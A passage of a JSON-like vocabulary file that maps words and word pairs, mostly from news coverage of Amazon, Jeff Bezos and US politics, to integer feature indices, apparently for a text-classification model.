"cooper calls": 20595, "lenovo bought": 20596, "director neil": 20597, "exchange cboe": 20598, "packages suggested": 20599, "doordash": 20600, "hugging": 20601, "existing stores": 20602, "expose strip": 20603, "bong sarmiento": 20604, "weak guidance": 20605, "q0": 20606, "day line": 20607, "17338732 ppb": 20608, "clinton presidency": 20609, "headquarters announcement": 20610, "pitching hedge": 20611, "financial commentary": 20612, "giving users": 20613, "fewer qualms": 20614, "network guests": 20615, "figure caught": 20616, "navigate tricky": 20617, "prince": 20618, "won solve": 20619, "landscape believe": 20620, "amazonbasics merchandise": 20621, "reconsidering setting": 20622, "fair notice": 20623, "host emergency": 20624, "patricof agrees": 20625, "vision programme": 20626, "vietnam era": 20627, "haughty outlook": 20628, "1996 congress": 20629, "numbers story": 20630, "number spot": 20631, "releasing trove": 20632, "shot redemption": 20633, "fact looking": 20634, "reback silicon": 20635, "biden beef": 20636, "legal workers": 20637, "seattle 100": 20638, "congresswoman marcia": 20639, "justice digital": 20640, "shares lipe": 20641, "land grabbing": 20642, "joint chiefs": 20643, "little bundle": 20644, "francisco joseph": 20645, "plan shares": 20646, "associate firms": 20647, "today behemoth": 20648, "political crosshairs": 20649, "neighborhood called": 20650, "date echo": 20651, "unh": 20652, "asia did": 20653, "lost case": 20654, "berkowitz": 20655, "kyle mooney": 20656, "maybe prove": 20657, "subscription services": 20658, "make mum": 20659, "email declined": 20660, "new carrier": 20661, "host victoria": 20662, "hollywood fantasy": 20663, "bezos us137": 20664, "investigations related": 20665, "mississippi popular": 20666, "small black": 20667, "dire consequences": 20668, "short trunks": 20669, "taxes false": 20670, "owo": 20671, "strikes": 20672, "growth herera": 20673, "african writers": 20674, "real facts": 20675, "spooky": 20676, "far exceed": 20677, "infested": 20678, "false accusation": 20679, "miners": 20680, "baking wholesome": 20681, "barro": 20682, "dc jeff": 20683, "easley noticed": 20684, "slowly aging": 20685, "schlemmer": 20686, "hotchkiss school": 20687, "worrying": 20688, "roof mounted": 20689, "darling just": 20690, "tactic used": 20691, "206": 20692, "greedy legislatures": 20693, "media elementcontents": 20694, "public works": 20695, "scruggs": 20696, "seasonality reflective": 20697, "uncovers rising": 20698, "organize meal": 20699, "large laggard": 20700, "xqz599iqzw": 20701, "bullish": 20702, "complex problems": 20703, "influence china": 20704, "lab verified": 20705, "men short": 20706, "bezos disappointed": 20707, "nike support": 20708, "food economy": 20709, "facing criminal": 20710, "bastardization": 20711, "charges applied": 20712, "million trees": 20713, "ba says": 20714, "carroll lynch": 20715, "florida panhandle": 20716, "mcsally concession": 20717, "letter": 20718, "country highlighting": 20719, "sharpton conference": 20720, "chief financial": 20721, "warren ap": 20722, "fiery city": 20723, "southfield": 20724, "yemeni affairs": 20725, "headline bezos": 20726, "thatamazon stock": 20727, "sales 2019": 20728, "fiscal crises": 20729, "michael plunkett": 20730, "hollywood mega": 20731, "000 210": 20732, "software tools": 20733, "nick sheff": 20734, "hearing concerning": 20735, "wh official": 20736, "headquarters hq2": 20737, "financial cycles": 20738, "received immunity": 20739, "fbi raid": 20740, "fight seth": 20741, "bushy shock": 20742, "happy change": 20743, "going bankrupt": 20744, "fox host": 20745, "reviews mix": 20746, "weakest": 20747, "constant rains": 20748, "people perceive": 20749, "post devoted": 20750, "gone": 20751, "decent discourse": 20752, "project lightning": 20753, "false tilefeatureimage": 20754, "house announced": 20755, "atp tennis": 20756, "highest increase": 20757, "varney appearance": 20758, "oxford mississippi": 20759, "19659002": 20760, "allegedly tipped": 20761, "enquirer pursued": 20762, "aristocracy": 20763, "music streaming": 20764, "valuation winner": 20765, "635x367 uploaded_files": 20766, "major storm": 20767, "repeatedly clashed": 20768, "home mortgage": 20769, "donuts": 20770, "centers backlog": 20771, "johnson yes": 20772, "home buying": 20773, "major retail": 20774, "dag meaning": 20775, "sellers warehouses": 20776, "import": 20777, "actually": 20778, "comparison looked": 20779, "perfume line": 20780, "employees members": 20781, "blasio press": 20782, "house mnuchin": 20783, "trace prosecute": 20784, "future plans": 20785, "right person": 20786, "season streamline": 20787, "kids bad": 20788, "judge tenor": 20789, "amazon creates": 20790, "impossibly": 20791, "la empresa": 20792, "great lengths": 20793, "actual proposals": 20794, "jonathan franzen": 20795, "great health": 20796, "2017jeff": 20797, "companies increased": 20798, "costume changes": 20799, "novel theories": 20800, "stat 108": 20801, "ground according": 20802, "risk centers": 20803, "devastating partially": 20804, "brexit just": 20805, "entering new": 20806, "tha\u00eds borges": 20807, "2019 proved": 20808, "years amazonbasics": 20809, "international class": 20810, "contraction": 20811, "sell customized": 20812, "bought rights": 20813, "amazon 269": 20814, "comedian kathy": 20815, "signs new": 20816, "135 stores": 20817, "immediate action": 20818, "senator kamala": 20819, "resources talent": 20820, "roosevelt": 20821, "collides": 20822, "small bit": 20823, "view amazon": 20824, "read st": 20825, "offset letter": 20826, "carrier announced": 20827, "reynolds shelley": 20828, "hair regrowth": 20829, "swan asked": 20830, "widespread issues": 20831, "proposed pact": 20832, "mission speed": 20833, "introduced final": 20834, "teeuwe": 20835, "korea despite": 20836, "spat grabbed": 20837, "hastily": 20838, "multicarrier solution": 20839, "viewed trump": 20840, "yazan": 20841, "budget think": 20842, "google protected": 20843, "roster": 20844, "counterparts leading": 20845, "uncharted": 20846, "cashiers": 20847, "cost estimates": 20848, "quirky food": 20849, "flattering articles": 20850, "party vendors": 20851, "rebounded early": 20852, "randolfo rodrigues": 20853, "intense speculation": 20854, "old fashioned": 20855, "labelled": 20856, "selfhood": 20857, "confirming": 20858, "advsr": 20859, "resolve allegations": 20860, "things tried": 20861, "dramatic emissions": 20862, "compiling voluminous": 20863, "exas brown": 20864, "significant doubt": 20865, "killing mueller": 20866, "help level": 20867, "new suite": 20868, "ad buyer": 20869, "rental car": 20870, "power talk": 20871, "bezo love": 20872, "wayfair ruling": 20873, "growing gop": 20874, "nogales": 20875, "die offs": 20876, "sean sullivan": 20877, "wonderland": 20878, "reorg tackles": 20879, "seattle fred": 20880, "sleepless nights": 20881, "million itep": 20882, "republican gov": 20883, "subverts": 20884, "sdny": 20885, "reservations": 20886, "gloria pike": 20887, "lobby tech": 20888, "russ mould": 20889, "genuine danger": 20890, "opposition amazon": 20891, "cruise incidents": 20892, "person runs": 20893, "nniedzwiadek politico": 20894, "publisher threatened": 20895, "right political": 20896, "controversy prone": 20897, "fa f4": 20898, "alphabet spent": 20899, "sales charts": 20900, "area journalist": 20901, "foregoing": 20902, "worth 600": 20903, "google gained": 20904, "uncompetitive cloud": 20905, "avoiding local": 20906, "tricky political": 20907, "gigantic": 20908, "heated speculation": 20909, "reloaded": 20910, "radio stations": 20911, "harwood": 20912, "demands north": 20913, "pacific ocean": 20914, "washington antitrust": 20915, "dollar fines": 20916, "msn": 20917, "moves grows": 20918, "want lots": 20919, "millennials love": 20920, "book readers": 20921, "department employees": 20922, "controversial issues": 20923, "recently held": 20924, "deal economy": 20925, "major source": 20926, "super ministry": 20927, "time stern": 20928, "bezos practices": 20929, "emergency looms": 20930, "competitors accrued": 20931, "join slate": 20932, "squali managing": 20933, "golden": 20934, "briefly driving": 20935, "4194 topics": 20936, "say wow": 20937, "100000 losers": 20938, "frameheight 100": 20939, "drivers directly": 20940, "typically means": 20941, "mainstream climate": 20942, "various immigration": 20943, "roundly critiqued": 20944, "maintain control": 20945, "drawn 2017": 20946, "robertson news": 20947, "year data": 20948, "remain relatively": 20949, "field grand": 20950, "seoul": 20951, "resume self": 20952, "threw shade": 20953, "regular mail": 20954, "yes according": 20955, "amazon annual": 20956, "2017 social": 20957, "include early": 20958, "brokered": 20959, "rapidly emerging": 20960, "lending technology": 20961, "bases vanish": 20962, "trump weigh": 20963, "cement": 20964, "afoot": 20965, "plane hijacking": 20966, "customers verizon": 20967, "package mailers": 20968, "mentioned john": 20969, "2016 fbi": 20970, "based nationally": 20971, "vuitton strategy": 20972, "emanuel administration": 20973, "moeller did": 20974, "previous plan": 20975, "books landing": 20976, "arista networks": 20977, "titled nasdaq": 20978, "shrinking revenue": 20979, "calif commercial": 20980, "clarkston belongs": 20981, "edward snowden": 20982, "new food": 20983, "beans": 20984, "rhimes scandal": 20985, "faced roughly": 20986, "different ownership": 20987, "build lcd": 20988, "usps celebrates": 20989, "tide lifts": 20990, "control instead": 20991, "facebook moments": 20992, "fewer competitive": 20993, "cooperative": 20994, "ways new": 20995, "announcement released": 20996, "privately held": 20997, "american export": 20998, "hr minimum": 20999, "involve amazon": 21000, "separate meeting": 21001, "work jointly": 21002, "easily manipulated": 21003, "topple": 21004, "jarhead": 21005, "company screenshot": 21006, "eating hotdog": 21007, "carrie wong": 21008, "custom vera": 21009, "decibels 150": 21010, "john conclusion": 21011, "covered": 21012, "approved horizontal": 21013, "company instructed": 21014, "tags share": 21015, "understands": 21016, "iso accredited": 21017, "tabloid quoted": 21018, "victim": 21019, "trait": 21020, "ceo king": 21021, "theo meyer": 21022, "sacramento teachers": 21023, "defiance instead": 21024, "adaptations": 21025, "vermont republican": 21026, "head boston": 21027, "trade scuffle": 21028, "just added": 21029, "joint bank": 21030, "microsoft reputation": 21031, "benedict": 21032, "tax agencies": 21033, "connect wider": 21034, "story kamaron": 21035, "bold acknowledgement": 21036, "cosponsored": 21037, "revolving doors": 21038, "philharmonic conjures": 21039, "following lower": 21040, "listed": 21041, "best spent": 21042, "waxwork unveiled": 21043, "reisuccessconference": 21044, "management office": 21045, "oracle respectively": 21046, "amazon high": 21047, "headed mascot": 21048, "california newsome": 21049, "billion doesn": 21050, "volkswagen shares": 21051, "theory qanon": 21052, "alarming rate": 21053, "patents": 21054, "budget crisis": 21055, "andrew hollenhorst": 21056, "drivers change": 21057, "change marxist": 21058, "education department": 21059, "memphis grizzlies": 21060, "post suggested": 21061, "directly address": 21062, "nn": 21063, "lamborghini new": 21064, "court fees": 21065, "homeowner": 21066, "imports announced": 21067, "var s9x": 21068, "soper moderates": 21069, "governor adam": 21070, "phony university": 21071, "memo signed": 21072, "resident population": 21073, "sears offered": 21074, "falls second": 21075, "approximately 644": 21076, "sachs worries": 21077, "corporation stock": 21078, "seamless segue": 21079, "commission bezos": 21080, "discerning eye": 21081, "note analysts": 21082, "grand conspiracy": 21083, "scheduling software": 21084, "kyle maclachlan": 21085, "trump payne": 21086, "war cheerleader": 21087, "tl federal": 21088, "bezos running": 21089, "favorite movies": 21090, "sharp tightening": 21091, "particular aim": 21092, "newsletters delivered": 21093, "amid popular": 21094, "told analysts": 21095, "new letter": 21096, "wrote think": 21097, "contact email": 21098, "book offers": 21099, "anti cancer": 21100, "lawyer rudy": 21101, "administration lees": 21102, "modern": 21103, "unnecessary": 21104, "public 2019": 21105, "dixon eater": 21106, "tm boss": 21107, "aces": 21108, "virginia coincidentally": 21109, "vishaan chakrabarti": 21110, "letting different": 21111, "shirt": 21112, "posted late": 21113, "marriott": 21114, "proprietary goods": 21115, "economic catalysts": 21116, "virginia company": 21117, "farrow continued": 21118, "polling": 21119, "archive screenshots": 21120, "apocalyptic series": 21121, "jedi lifted": 21122, "action international": 21123, "spawned": 21124, "old right": 21125, "videocollectiondivid": 21126, "sourcelink videocollectionurl": 21127, "critic": 21128, "alike trump": 21129, "post mistake": 21130, "rochelle richardson": 21131, "brandingtexthead": 21132, "press pass": 21133, "brief intervention": 21134, "sheer personal": 21135, "reliability": 21136, "flown": 21137, "cdc hiv": 21138, "including healthcare": 21139, "political consequences": 21140, "lirr accident": 21141, "publishers clearing": 21142, "bezos texts": 21143, "intelligent noah": 21144, "instagram amazon": 21145, "involved report": 21146, "chided president": 21147, "gtcr": 21148, "australia france": 21149, "vast power": 21150, "emotion tend": 21151, "assets 181008212727": 21152, "senate term": 21153, "billion 140": 21154, "losses including": 21155, "think little": 21156, "gentrification housing": 21157, "financial decisions": 21158, "prostitution ring": 21159, "restraining order": 21160, "considerable tax": 21161, "employee interviewed": 21162, "late 2018": 21163, "curtis johnson": 21164, "things shutting": 21165, "remain shut": 21166, "vc view": 21167, "congressional aide": 21168, "local expertise": 21169, "believe facebook": 21170, "royal court": 21171, "weren disclosing": 21172, "sticker slogans": 21173, "anand sheela": 21174, "modified organisms": 21175, "suggested reforms": 21176, "bear cnn": 21177, "booming stock": 21178, "snaps emails": 21179, "tame inflation": 21180, "cadence\u0430in": 21181, "plans entirely": 21182, "announced multi": 21183, "consumers say": 21184, "expect free": 21185, "ceos": 21186, "courted nooyi": 21187, "mackenzie statements": 21188, "entertaining": 21189, "nationalization": 21190, "army terminal": 21191, "amatos nyassembly": 21192, "description product": 21193, "new state": 21194, "roger store": 21195, "young voters": 21196, "brennan sharply": 21197, "best way": 21198, "print form": 21199, "host welcome": 21200, "comic relief": 21201, "forearm dorsey": 21202, "markay wrote": 21203, "join thousands": 21204, "major postal": 21205, "story cool": 21206, "trump defeat": 21207, "nashville tenn": 21208, "critical news": 21209, "politics molly": 21210, "open secrets": 21211, "adequately": 21212, "cooker": 21213, "articles 771959": 21214, "star sean": 21215, "meet russian": 21216, "politico media": 21217, "free public": 21218, "kevin cramer": 21219, "juul headquarters": 21220, "gist healthcare": 21221, "uk millennial": 21222, "vermont nominated": 21223, "investigation including": 21224, "415": 21225, "chandler": 21226, "tourism outfit": 21227, "omarosa manigault": 21228, "showed investigators": 21229, "000 grant": 21230, "app wechat": 21231, "provided information": 21232, "nickname": 21233, "selfies unless": 21234, "biggest benefactors": 21235, "xstjcl0qm1": 21236, "way given": 21237, "small gadget": 21238, "viab": 21239, "collection practices": 21240, "yearning": 21241, "committee standoff": 21242, "friendly republicans": 21243, "vulnerable stocks": 21244, "stweets today": 21245, "publishers newswire": 21246, "criticism bezos": 21247, "supply received": 21248, "present ellis": 21249, "nefarious organizations": 21250, "sanders welcomed": 21251, "var t0": 21252, "launch steady": 21253, "hq2 series": 21254, "federation begin": 21255, "wicking anti": 21256, "weigh": 21257, "kiss photo": 21258, "homophobic": 21259, "657 shares": 21260, "business paul": 21261, "gop nominee": 21262, "melted trump": 21263, "collection policy": 21264, "teach participants": 21265, "chart nick": 21266, "sears reports": 21267, "russian foreign": 21268, "just search": 21269, "bochner": 21270, "album looks": 21271, "market place": 21272, "environmental areas": 21273, "takes office": 21274, "loyalty memoir": 21275, "entire retail": 21276, "tout": 21277, "schwab management": 21278, "flames civic": 21279, "ip portfolio": 21280, "widowed airs": 21281, "market bloodbath": 21282, "dramas crime": 21283, "exchanging": 21284, "contentious process": 21285, "including seattle": 21286, "white": 21287, "lunatic 101": 21288, "labeling law": 21289, "fashion focused": 21290, "letter calling": 21291, "catlin breaking": 21292, "maduro foes": 21293, "violate constitutional": 21294, "latest supersized": 21295, "marketed": 21296, "project developers": 21297, "contrasting": 21298, "highly critical": 21299, "sexual harasser": 21300, "committee recently": 21301, "mariia butina": 21302, "long track": 21303, "grant tied": 21304, "example just": 21305, "sex public": 21306, "outdated": 21307, "attacking companies": 21308, "deep pharmacy": 21309, "aws rdb": 21310, "vivek": 21311, "transportation housing": 21312, "defamation league": 21313, "jeffreygoldberg": 21314, "big component": 21315, "fans rejoice": 21316, "mcconnell privately": 21317, "extensive damage": 21318, "introduce tax": 21319, "forever": 21320, "edit tags": 21321, "exceptionally": 21322, "work including": 21323, "detroit downriver": 21324, "began slapping": 21325, "cold opens": 21326, "850 stores": 21327, "ships billion": 21328, "skills training": 21329, "wouldget absolutely": 21330, "yes hurd": 21331, "inventory shrugged": 21332, "abandoning plans": 21333, "minor distractors": 21334, "mutual fund": 21335, "actors starring": 21336, "desserts black": 21337, "kill thousands": 21338, "gonzales started": 21339, "closed cnbc": 21340, "trump distaste": 21341, "order just": 21342, "yorkers objecting": 21343, "cause immediate": 21344, "uk especially": 21345, "heading module": 21346, "journal subscription": 21347, "salon nicole": 21348, "units tesla": 21349, "needed media": 21350, "gives bullish": 21351, "party amzn": 21352, "jerod harris": 21353, "clinton summit": 21354, "expeditions": 21355, "blitz deal": 21356, "2017 vogue": 21357, "stops railing": 21358, "costco big": 21359, "christmas message": 21360, "know associated": 21361, "recent week": 21362, "gagillion fafillion": 21363, "fellow teammates": 21364, "left westervelt": 21365, "make looting": 21366, "wwe smackdown": 21367, "152": 21368, "ibm stock": 21369, "mistress including": 21370, "hostname owl": 21371, "nested": 21372, "popular opposition": 21373, "permits companies": 21374, "rally election": 21375, "organization representing": 21376, "trudeau arrives": 21377, "loudoun": 21378, "complete fantasyland": 21379, "resources abr": 21380, "life measurably": 21381, "getting traction": 21382, "send articles": 21383, "total value": 21384, "amazon images": 21385, "widened": 21386, "raping": 21387, "function ya": 21388, "wfc": 21389, "senior officials": 21390, "report wanted": 21391, "written tax": 21392, "violated consumer": 21393, "guy help": 21394, "amzn motley": 21395, "sea ice": 21396, "relationship state": 21397, "heights seized": 21398, "babb defense": 21399, "law mohamad": 21400, "violated state": 21401, "named moderator": 21402, "seen": 21403, "normal level": 21404, "orthodoxy": 21405, "replacing libraries": 21406, "thrones headlineplaintext": 21407, "visiting toronto": 21408, "major mistakes": 21409, "dominated retail": 21410, "shares partner": 21411, "says mkm": 21412, "ari seth": 21413, "feature reporting": 21414, "cable channel": 21415, "direct delivery": 21416, "crazy real": 21417, "snafu": 21418, "mid stream": 21419, "jonny cournoyer": 21420, "tana french": 21421, "mass shooting": 21422, "competitors chief": 21423, "economically bankrupt": 21424, "paint technology": 21425, "investigators led": 21426, "european competition": 21427, "stalking president": 21428, "uploaded": 21429, "retail upcoming": 21430, "essay long": 21431, "tick amazon": 21432, "vaccinations child": 21433, "newton advisors": 21434, "cloud native": 21435, "happening france": 21436, "main equity": 21437, "iran russia": 21438, "soybean crops": 21439, "wronged": 21440, "wasn normal": 21441, "manipulative ads": 21442, "5g revolution": 21443, "classroom": 21444, "yesterday report": 21445, "branford": 21446, "alexandriaocasio cortez": 21447, "legally prohibited": 21448, "adding virginia": 21449, "rec": 21450, "clark davehclark": 21451, "chinese imposing": 21452, "rate love": 21453, "lay blame": 21454, "involves president": 21455, "taken stakes": 21456, "sozzi noted": 21457, "amerijet": 21458, "sprout frightening": 21459, "convincing seattle": 21460, "ethical frameworks": 21461, "hosts dan": 21462, "schooling class": 21463, "post brexit": 21464, "sought personally": 21465, "associates ultimately": 21466, "think google": 21467, "lester": 21468, "typeahead": 21469, "ads posted": 21470, "blunted somewhat": 21471, "billion moody": 21472, "persistent": 21473, "court article": 21474, "trump constant": 21475, "implement early": 21476, "michael conway": 21477, "blasts donald": 21478, "forces ami": 21479, "significantly differs": 21480, "shut btw": 21481, "pudo points": 21482, "rippled effects": 21483, "netflix feng": 21484, "gains amazon": 21485, "eugene puryear": 21486, "past misuse": 21487, "pro yard": 21488, "cooperation consultation": 21489, "trump iran": 21490, "negative outcomes": 21491, "2017 says": 21492, "replacing human": 21493, "anti fishing": 21494, "era photos": 21495, "coming decade": 21496, "overall strategy": 21497, "requires retail": 21498, "rice": 21499, "forcibly separating": 21500, "sustainable production": 21501, "troubled institution": 21502, "institutions public": 21503, "nineteen women": 21504, "idea right": 21505, "sen lindsey": 21506, "maternity": 21507, "malaysian": 21508, "relied heavily": 21509, "sites sell": 21510, "nhl washington": 21511, "carolyn kaster": 21512, "featuring donald": 21513, "infamous error": 21514, "tim morthland": 21515, "xfcuvm1u4s": 21516, "making capacity": 21517, "cancelled sorry": 21518, "delivery charges": 21519, "albuquerque": 21520, "issue brought": 21521, "originally offered": 21522, "canada hudsons": 21523, "host vietnam": 21524, "amazon 28257": 21525, "bowen blames": 21526, "alcohol tobacco": 21527, "talent available": 21528, "states leroy": 21529, "record highs": 21530, "open arms": 21531, "mystal": 21532, "t0": 21533, "869 68b": 21534, "similar": 21535, "great ideas": 21536, "inflict terrible": 21537, "land grabbers": 21538, "wizards": 21539, "shares climb": 21540, "patience": 21541, "cathy": 21542, "free guide": 21543, "unapologetic turd": 21544, "trump persecuting": 21545, "coldwell banker": 21546, "customers view": 21547, "article": 21548, "help guide": 21549, "latest tirade": 21550, "young charges": 21551, "actually undermine": 21552, "picked struggle": 21553, "following shooting": 21554, "markets economist": 21555, "wasteland hellhole": 21556, "freight railroad": 21557, "created company": 21558, "boies": 21559, "species called": 21560, "airline wow": 21561, "delivery forcing": 21562, "amy poehler": 21563, "shipping center": 21564, "png foto": 21565, "surveillance tool": 21566, "perfected": 21567, "years prosecutors": 21568, "service uncovered": 21569, "narendramodi": 21570, "condemn amazon": 21571, "figures focus": 21572, "story html": 21573, "wildly succeeds": 21574, "misleadingly referred": 21575, "agency withdrew": 21576, "prosecution criminal": 21577, "carlyle group": 21578, "mining stocks": 21579, "stock picks": 21580, "liebert": 21581, "nooyi ceo": 21582, "legally": 21583, "actually cared": 21584, "systems technical": 21585, "creeping": 21586, "america small": 21587, "laurent chess": 21588, "reveal skin": 21589, "reasons lot": 21590, "blue vans": 21591, "thorough discussion": 21592, "supermicro": 21593, "michael neibauer": 21594, "baldness balms": 21595, "weld": 21596, "casual market": 21597, "troops deployed": 21598, "capri": 21599, "clinton health": 21600, "mommy burnout": 21601, "trump argument": 21602, "citing weak": 21603, "nyse royal": 21604, "minister shinzo": 21605, "onslaught": 21606, "ore letter": 21607, "fargo investment": 21608, "products ahead": 21609, "school acre": 21610, "office walls": 21611, "australian customers": 21612, "outlawing": 21613, "edison gramophone": 21614, "started brand": 21615, "school graduate": 21616, "category killer": 21617, "companies amazon": 21618, "alpha conference": 21619, "attracting latin": 21620, "proposed uptick": 21621, "deadly gangster": 21622, "denver school": 21623, "school life": 21624, "operates amazon": 21625, "headquarters just": 21626, "improve public": 21627, "new campaign": 21628, "trump friendship": 21629, "2017 pablo": 21630, "newscom amazon": 21631, "administration attempt": 21632, "states representatives": 21633, "matching hat": 21634, "000 month": 21635, "best brightest": 21636, "reform make": 21637, "spotlights": 21638, "hq2 process": 21639, "screws": 21640, "mccain time": 21641, "submit a4ee": 21642, "surely reducing": 21643, "size scope": 21644, "bring censored": 21645, "decades ago": 21646, "slansky media": 21647, "krystal hu": 21648, "gaming": 21649, "streamlining business": 21650, "false videopinner": 21651, "spandex": 21652, "presidential pals": 21653, "immigration geography": 21654, "vandenberg air": 21655, "holdings peavine": 21656, "withheld crucial": 21657, "major corporations": 21658, "ranking interior": 21659, "posts anti": 21660, "southeast grocery": 21661, "modernizr phone": 21662, "sku": 21663, "ago web": 21664, "vilify business": 21665, "finalized deal": 21666, "banks chinese": 21667, "amazon impact": 21668, "book received": 21669, "radhika jones": 21670, "compiling report": 21671, "shares opened": 21672, "massacre year": 21673, "badly underestimates": 21674, "prime service": 21675, "giant corporate": 21676, "wisconsin taxpayers": 21677, "final say": 21678, "stores sell": 21679, "wreaking havoc": 21680, "bezos resorted": 21681, "water johnson": 21682, "lives tracks": 21683, "therapist trying": 21684, "named people": 21685, "pet themes": 21686, "hoax": 21687, "shea": 21688, "continuing investigation": 21689, "key criminal": 21690, "bogen": 21691, "store opened": 21692, "address read": 21693, "bsquare": 21694, "wire adzone": 21695, "breaks worth": 21696, "effects regulatory": 21697, "submitting proposals": 21698, "thinnest": 21699, "focus heavily": 21700, "post commented": 21701, "chicago accepts": 21702, "serra": 21703, "bypassing overseas": 21704, "traditionally defensive": 21705, "allude": 21706, "state regulatory": 21707, "starboard": 21708, "75pc": 21709, "munger 2017": 21710, "located inside": 21711, "make investors": 21712, "overall objective": 21713, "alphabet set": 21714, "commercial platforms": 21715, "proposed administrative": 21716, "interacted": 21717, "theatlantic": 21718, "open primary": 21719, "southside": 21720, "occasions accusing": 21721, "resurgent republican": 21722, "510": 21723, "tommie lee": 21724, "today does": 21725, "ceo continued": 21726, "democrat follow": 21727, "exclusive special": 21728, "bloomberg trump": 21729, "representative": 21730, "formal government": 21731, "existsobject playerinstance": 21732, "wrong road": 21733, "skateboarding": 21734, "caught amazon": 21735, "amerisourcebergen corp": 21736, "udine": 21737, "general lisa": 21738, "really nasty": 21739, "american mom": 21740, "agents gayle": 21741, "decision allowing": 21742, "story irs": 21743, "summer relabeling": 21744, "term concerns": 21745, "involved parties": 21746, "credible reason": 21747, "generation wireless": 21748, "houdini": 21749, "means tech": 21750, "mckinnon ingraham": 21751, "kuwait": 21752, "reconstruction project": 21753, "stern phone": 21754, "change favorable": 21755, "data especially": 21756, "allegedly paid": 21757, "1732et copyright": 21758, "bolsonaro displaying": 21759, "police interview": 21760, "financial proof": 21761, "logistics summit": 21762, "fentanyl": 21763, "neighborhood including": 21764, "announced drones": 21765, "mobilelogo null": 21766, "trump opinion": 21767, "houses construction": 21768, "major betrayal": 21769, "times calling": 21770, "educate leaders": 21771, "feed donald": 21772, "eisen coca": 21773, "women according": 21774, "finalized advocacy": 21775, "displacement etcetera": 21776, "sister affair": 21777, "advertiser": 21778, "careful john": 21779, "stopimmediatepropagation": 21780, "tremendous progress": 21781, "principle house": 21782, "babis faces": 21783, "tech projects": 21784, "saudi agents": 21785, "amazon fit": 21786, "reform committee": 21787, "technology professionals": 21788, "digit revenue": 21789, "polarizing partisan": 21790, "face criticism": 21791, "5bf3k1f05s": 21792, "chaos left": 21793, "liberalism democratic": 21794, "suspicion": 21795, "new study": 21796, "characterization": 21797, "trump occupies": 21798, "vote majority": 21799, "act mercurial": 21800, "canceling netflix": 21801, "given fat": 21802, "deal instead": 21803, "approves": 21804, "loyalties": 21805, "nanny time": 21806, "connected partnership": 21807, "people signed": 21808, "raining carell": 21809, "posters alluding": 21810, "td": 21811, "politics saudi": 21812, "petrol price": 21813, "people compared": 21814, "bezos hangs": 21815, "selfie pictures": 21816, "previous air": 21817, "deliveries sebastian": 21818, "greeted rebecca": 21819, "scanners": 21820, "competition culture": 21821, "type article": 21822, "periodic wake": 21823, "corporate power": 21824, "discounted postal": 21825, "canada just": 21826, "housing solutions": 21827, "reverse mean": 21828, "parole board": 21829, "various transportation": 21830, "recruitment": 21831, "apart dividing": 21832, "crisis hits": 21833, "eating": 21834, "veered": 21835, "space boom": 21836, "common connection": 21837, "brazilian commodities": 21838, "right place": 21839, "broken ground": 21840, "dropped greater": 21841, "germany avoided": 21842, "starks lannisters": 21843, "rival company": 21844, "police critics": 21845, "company instead": 21846, "president wrong": 21847, "places gasoline": 21848, "large number": 21849, "comet": 21850, "noah feldman": 21851, "regularly featured": 21852, "startup program": 21853, "mafia lord": 21854, "vulture": 21855, "penguin press": 21856, "today oath": 21857, "russian hijacking": 21858, "ethnicity religion": 21859, "derek wallbank": 21860, "transaction costs": 21861, "soundview route": 21862, "013 000": 21863, "campaign launch": 21864, "ahead forum": 21865, "special information": 21866, "disagree issues": 21867, "delivery event": 21868, "thornburgh matt": 21869, "marital life": 21870, "lead house": 21871, "rejected criticism": 21872, "creative artists": 21873, "kyrsten": 21874, "media juggernaut": 21875, "mysterious past": 21876, "supports local": 21877, "marvel tv": 21878, "year message": 21879, "left fatima": 21880, "good years": 21881, "temin founder": 21882, "conveniences offered": 21883, "buy software": 21884, "makes employers": 21885, "anchors commented": 21886, "fleecing": 21887, "big philanthropic": 21888, "times magazine": 21889, "pay according": 21890, "ain": 21891, "fraud buffalo": 21892, "decision sparked": 21893, "true configobj": 21894, "albrecht": 21895, "mushroom character": 21896, "weather entertainment": 21897, "transformed": 21898, "trump resistance": 21899, "fumed publicly": 21900, "amok": 21901, "mari": 21902, "post multiple": 21903, "dam reback": 21904, "5547": 21905, "shopping tool": 21906, "later gawande": 21907, "office gao": 21908, "performing equity": 21909, "articles amazon": 21910, "mass": 21911, "sees significant": 21912, "national geography": 21913, "richfield": 21914, "hearings preferably": 21915, "events commemorating": 21916, "debated": 21917, "wall wish": 21918, "6th 2019": 21919, "car maker": 21920, "nelson native": 21921, "cool million": 21922, "babis jr": 21923, "fund package": 21924, "politically embarrassing": 21925, "people bezos": 21926, "watergate showing": 21927, "lover nancy": 21928, "retailer margins": 21929, "contains monosodium": 21930, "simply having": 21931, "watchdog fbi": 21932, "nflx reported": 21933, "press fact": 21934, "russian contacts": 21935, "ny tweeted": 21936, "santiago yes": 21937, "new guidelines": 21938, "similar position": 21939, "grave threat": 21940, "employers hiring": 21941, "development contract": 21942, "moratorium map": 21943, "roy price": 21944, "job creation": 21945, "home promising": 21946, "2018 bezos": 21947, "true vidid": 21948, "description according": 21949, "hanoi summit": 21950, "amazon parcels": 21951, "234 billion": 21952, "bankruptcy fitting": 21953, "generally pursues": 21954, "bannon spoke": 21955, "world tribune": 21956, "cohen work": 21957, "egotistical": 21958, "don strike": 21959, "ziggy stardust": 21960, "amazon delta": 21961, "campaign event": 21962, "aerospace standards": 21963, "discounts sent": 21964, "management division": 21965, "crop king": 21966, "computer paper": 21967, "independent votes": 21968, "news aggregator": 21969, "mid afternoon": 21970, "lobbied local": 21971, "preliminary sentiment": 21972, "overtaken": 21973, "begin using": 21974, "users better": 21975, "position players": 21976, "london arrest": 21977, "scrutinized politicians": 21978, "intelligence coverage": 21979, "harlan hill": 21980, "radically alter": 21981, "swaggering": 21982, "using extortion": 21983, "ruthless price": 21984, "luthor": 21985, "persistent critic": 21986, "gene editing": 21987, "dorning 2018": 21988, "high politics": 21989, "distinct linguistic": 21990, "practices write": 21991, "house shortly": 21992, "chequered": 21993, "pre installed": 21994, "shops covering": 21995, "schedules new": 21996, "sent 855": 21997, "democratic candidates": 21998, "silicone valley": 21999, "retired": 22000, "primary resurrecting": 22001, "newly renovated": 22002, "isa hackett": 22003, "target does": 22004, "holiday euro": 22005, "period bezos": 22006, "post think": 22007, "new destination": 22008, "say fan": 22009, "cards usps": 22010, "manufacture iphones": 22011, "baltimore sun": 22012, "case figures": 22013, "directed postmaster": 22014, "evergreen": 22015, "usual targets": 22016, "powered read": 22017, "street cbs": 22018, "enticing amazon": 22019, "duplex voice": 22020, "lies did": 22021, "grinch": 22022, "aunt": 22023, "crippling snowstorms": 22024, "state funded": 22025, "life long": 22026, "beast fame": 22027, "leary continues": 22028, "admissions": 22029, "investigated american": 22030, "losses according": 